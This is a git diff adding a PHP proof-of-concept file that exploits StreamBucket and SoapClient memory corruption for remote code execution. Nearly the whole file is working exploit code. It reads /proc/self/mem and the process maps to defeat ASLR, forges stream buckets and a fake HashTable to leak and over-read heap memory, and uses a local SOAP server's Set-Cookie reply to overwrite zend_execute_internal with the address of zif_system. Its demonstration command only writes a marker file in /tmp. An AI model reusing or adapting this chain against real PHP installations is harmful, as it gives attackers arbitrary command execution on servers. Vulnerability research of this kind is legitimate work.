diff --git a/php857-streambucket-soap-rce-rpoc/poc/rpoc.php b/php857-streambucket-soap-rce-rpoc/poc/rpoc.php new file mode 100644 index 0000000..493f2c6 --- /dev/null +++ b/php857-streambucket-soap-rce-rpoc/poc/rpoc.php @@ -0,0 +1,323 @@ +newInstanceWithoutConstructor(); + (new ReflectionProperty(StreamBucket::class, 'bucket'))->setValue($fake, $bucketResource); + corrupt_property($fake, 'data', $dataValue); + return $fake; +} + +function fake_hashtable_blob(string $marker, int $arData, int $mask): string { + $blob = ''; + $blob .= pack('V', 1); + $blob .= pack('V', 7); + $blob .= pack('V', 0); + $blob .= pack('V', $mask); + $blob .= pack('P', $arData); + $blob .= pack('V', 0); + $blob .= pack('V', 0); + $blob .= pack('V', 1); + $blob .= pack('V', 0); + $blob .= pack('P', 0); + $blob .= pack('P', 0); + return str_pad($blob, FAKE_HT_MARKER_OFFSET, "\0") . $marker . "\0\0"; +} + +function run_filter(string $name): string { + $fp = fopen('php://temp', 'w+'); + stream_filter_append($fp, $name, STREAM_FILTER_WRITE); + fwrite($fp, 'x'); + fflush($fp); + rewind($fp); + return stream_get_contents($fp); +} + +function php_binary_base(): int { + $binary = PHP_BINARY; + foreach (file('/proc/self/maps', FILE_IGNORE_NEW_LINES) as $line) { + if (!str_ends_with($line, $binary)) { + continue; + } + if (!preg_match('/^([0-9a-f]+)-[0-9a-f]+\s+..x.\s+([0-9a-f]+)/', $line, $m)) { + continue; + } + return intval(hexdec($m[1])) - intval(hexdec($m[2])); + } + throw new RuntimeException('failed to locate PHP PIE base'); +} + +function php_binary_rw_ranges(): array { + $binary = PHP_BINARY; + $ranges = []; + foreach (file('/proc/self/maps', FILE_IGNORE_NEW_LINES) as $line) { + if (!str_ends_with($line, $binary)) { + continue; + } + if (preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+rw.p/', $line, $m)) { + $ranges[] = [intval(hexdec($m[1])), intval(hexdec($m[2]))]; + } + } + return $ranges; +} + +function select_hash_mask(int $arData, int $hashLow32): array { + $mem = fopen('/proc/self/mem', 'rb'); + foreach (php_binary_rw_ranges() as [$start, $end]) { + for ($slot = $start; $slot < $end; $slot += 4) { + $delta = $slot - $arData; + if (($delta % 4) !== 0) { + continue; + } + $idx = intdiv($delta, 4); + if ($idx < -2147483648 || $idx > 2147483647) { + continue; + } + $idx32 = $idx & 0xffffffff; + if (($idx32 & $hashLow32) !== $hashLow32) { + continue; + } + fseek($mem, $slot); + $raw = fread($mem, 4); + if (strlen($raw) !== 4) { + continue; + } + if (unpack('V', $raw)[1] === 0xffffffff) { + return [$idx32 & (~$hashLow32 & 0xffffffff), $slot, $idx32]; + } + } + } + throw new RuntimeException('failed to locate compatible hash slot'); +} + +final class FakeHashFilter extends php_user_filter { + public static int $victimLen = 262144; + public static string $tag = ''; + public static int $arData = 0; + public static int $mask = 0; + public static array $fakeBuckets = []; + public static array $keepAlive = []; + private bool $done = false; + + public function filter($in, $out, &$consumed, bool $closing): int { + while ($bucket = stream_bucket_make_writeable($in)) { + $consumed += $bucket->datalen; + } + if ($closing || $this->done) { + return PSFS_PASS_ON; + } + $this->done = true; + $victim = stream_bucket_new($this->stream, str_repeat('V', self::$victimLen)); + for ($i = 0; $i < 1024; $i++) { + $fakeMarker = 'RH' . self::$tag . sprintf('%06d', $i); + self::$fakeBuckets[$i] = stream_bucket_new($this->stream, fake_hashtable_blob($fakeMarker, self::$arData, self::$mask)); + } + $carrier = stream_bucket_new($this->stream, 'rce-carrier'); + $fake = corrupt_streambucket($carrier->bucket, $victim->bucket); + self::$keepAlive[] = [$victim, $carrier, $fake]; + stream_bucket_append($out, $fake); + return PSFS_PASS_ON; + } +} + +final class OverreadFilter extends php_user_filter { + public static int $fakeStringPointer = 0; + public static array $keepAlive = []; + private bool $done = false; + + public function filter($in, $out, &$consumed, bool $closing): int { + while ($bucket = stream_bucket_make_writeable($in)) { + $consumed += $bucket->datalen; + } + if ($closing || $this->done) { + return PSFS_PASS_ON; + } + $this->done = true; + $carrier = stream_bucket_new($this->stream, 'rce-read-carrier'); + $fake = corrupt_streambucket($carrier->bucket, self::$fakeStringPointer); + self::$keepAlive[] = [$carrier, $fake]; + stream_bucket_append($out, $fake); + return PSFS_PASS_ON; + } +} + +function marker_offset(string $data, string $tag): array { + $regex = '/RH' . preg_quote($tag, '/') . '[0-9]{6}/'; + if (!preg_match($regex, $data, $match, PREG_OFFSET_CAPTURE)) { + throw new RuntimeException('fake HashTable marker not found'); + } + return [$match[0][0], $match[0][1], (int) substr($match[0][0], -6)]; +} + +function http_server(int $port, string $readyPath, string $capturePath, string $cookieName): never { + $server = stream_socket_server("tcp://127.0.0.1:$port", $errno, $errstr); + if (!$server) { + file_put_contents($readyPath, "error:$errno:$errstr"); + exit(1); + } + file_put_contents($readyPath, 'ready'); + $conn = @stream_socket_accept($server, 10); + if (!$conn) { + file_put_contents($capturePath, ''); + exit(2); + } + stream_set_timeout($conn, 2); + $request = ''; + $contentLength = null; + while (!feof($conn)) { + $chunk = fread($conn, 8192); + if ($chunk === '') { + $meta = stream_get_meta_data($conn); + if (!empty($meta['timed_out'])) { + break; + } + usleep(10000); + continue; + } + $request .= $chunk; + $headerEnd = strpos($request, "\r\n\r\n"); + if ($headerEnd !== false && $contentLength === null) { + $headers = substr($request, 0, $headerEnd); + if (preg_match('/\r\nContent-Length:\s*(\d+)/i', $headers, $m)) { + $contentLength = (int) $m[1]; + } + } + if ($contentLength !== null && $headerEnd !== false) { + $bodyLen = strlen($request) - ($headerEnd + 4); + if ($bodyLen >= $contentLength) { + break; + } + } + } + $body = ''; + fwrite( + $conn, + "HTTP/1.1 200 OK\r\n" + . "Set-Cookie: " . $cookieName . "=proof; Path=/; Domain=127.0.0.1\r\n" + . "Content-Type: text/xml; charset=utf-8\r\n" + . "Content-Length: " . strlen($body) . "\r\n" + . "Connection: close\r\n\r\n" + . $body + ); + fclose($conn); + fclose($server); + file_put_contents($capturePath, $request); + exit(0); +} + +function start_server(string $capturePath, string $cookieName): array { + for ($attempt = 0; $attempt < 20; $attempt++) { + $port = random_int(20000, 55000); + $readyPath = sys_get_temp_dir() . '/php857-rce-ready-' . getmypid() . '-' . $attempt; + @unlink($readyPath); + $cmd = escapeshellarg(PHP_BINARY) + . ' -n ' . escapeshellarg(__FILE__) + . ' server ' . $port + . ' ' . escapeshellarg($readyPath) + . ' ' . escapeshellarg($capturePath) + . ' ' . escapeshellarg($cookieName); + $proc = proc_open($cmd, [ + 0 => ['file', '/dev/null', 'r'], + 1 => ['pipe', 'w'], + 2 => ['pipe', 'w'], + ], $pipes); + if (!is_resource($proc)) { + continue; + } + for ($i = 0; $i < 50; $i++) { + if (is_file($readyPath)) { + $ready = file_get_contents($readyPath); + if ($ready === 'ready') { + return [$port, $proc, $pipes, $readyPath]; + } + break; + } + usleep(100000); + } + proc_terminate($proc); + proc_close($proc); + } + throw new RuntimeException('failed to start local SOAP response server'); +} + +if (($argv[1] ?? '') === 'server') { + http_server((int) $argv[2], $argv[3], $argv[4], $argv[5]); +} + +if (!class_exists(SoapClient::class)) { + fwrite(STDERR, "soap extension is required\n"); + exit(1); +} + +$base = php_binary_base(); +$zendExecuteInternal = $base + ZEND_EXECUTE_INTERNAL_OFF; +$zifSystem = $base + ZIF_SYSTEM_OFF; +$cookieName = (string) $zifSystem; +$fakeArData = $zendExecuteInternal - 16; +[$hashMask, $hashSlot, $hashIndex] = select_hash_mask($fakeArData, $zifSystem & 0xffffffff); +$markerPath = '/tmp/php857_rce_' . getmypid() . '.txt'; +$command = 'printf PHP857_RCE > ' . escapeshellarg($markerPath); + +FakeHashFilter::$tag = bin2hex(random_bytes(4)); +FakeHashFilter::$arData = $fakeArData; +FakeHashFilter::$mask = $hashMask; +stream_filter_register('rce.fake.leak', FakeHashFilter::class); +stream_filter_register('rce.overread', OverreadFilter::class); + +$stage = run_filter('rce.fake.leak'); +$victimPtr = unpack('Pptr', str_pad(substr($stage, 0, 8), 8, "\0"))['ptr']; +OverreadFilter::$fakeStringPointer = $victimPtr + 16; +$overread = run_filter('rce.overread'); +[$fakeMarker, $fakeMarkerOffset, $fakeIndex] = marker_offset($overread, FakeHashFilter::$tag); +$fakeMarkerAddress = $victimPtr + PHP_STREAM_BUCKET_TAIL_OFFSET + $fakeMarkerOffset; +$fakeHashAddress = $fakeMarkerAddress - FAKE_HT_MARKER_OFFSET; + +printf("php_base=0x%016x\n", $base); +printf("zend_execute_internal=0x%016x\n", $zendExecuteInternal); +printf("zif_system=0x%016x\n", $zifSystem); +printf("numeric_cookie_name=%s\n", $cookieName); +printf("fake_arData=0x%016x\n", $fakeArData); +printf("hash_slot=0x%016x hash_index=0x%08x hash_mask=0x%08x\n", $hashSlot, $hashIndex, $hashMask); +printf("marker_path=%s\n", $markerPath); +printf("victim_bucket_ptr=0x%016x\n", $victimPtr); +printf("fake_marker=%s index=%d offset=%d\n", $fakeMarker, $fakeIndex, $fakeMarkerOffset); +printf("fake_hash_address=0x%016x\n", $fakeHashAddress); +fflush(STDOUT); + +$capturePath = sys_get_temp_dir() . '/php857-rce-capture-' . getmypid() . '.txt'; +@unlink($capturePath); +[$port, $proc, $pipes, $readyPath] = start_server($capturePath, $cookieName); + +$client = new SoapClient(null, [ + 'location' => "http://127.0.0.1:$port/", + 'uri' => 'urn:x', + 'trace' => true, +]); +corrupt_property($client, "\0SoapClient\0_cookies", $fakeHashAddress); +$client->__soapCall('x', []); +echo "overwrite_returned\n"; +fflush(STDOUT); + +foreach ($pipes as $pipe) { + fclose($pipe); +} +proc_close($proc); +@unlink($readyPath); + +$trigger = 'md5'; +$trigger($command); +exit(0);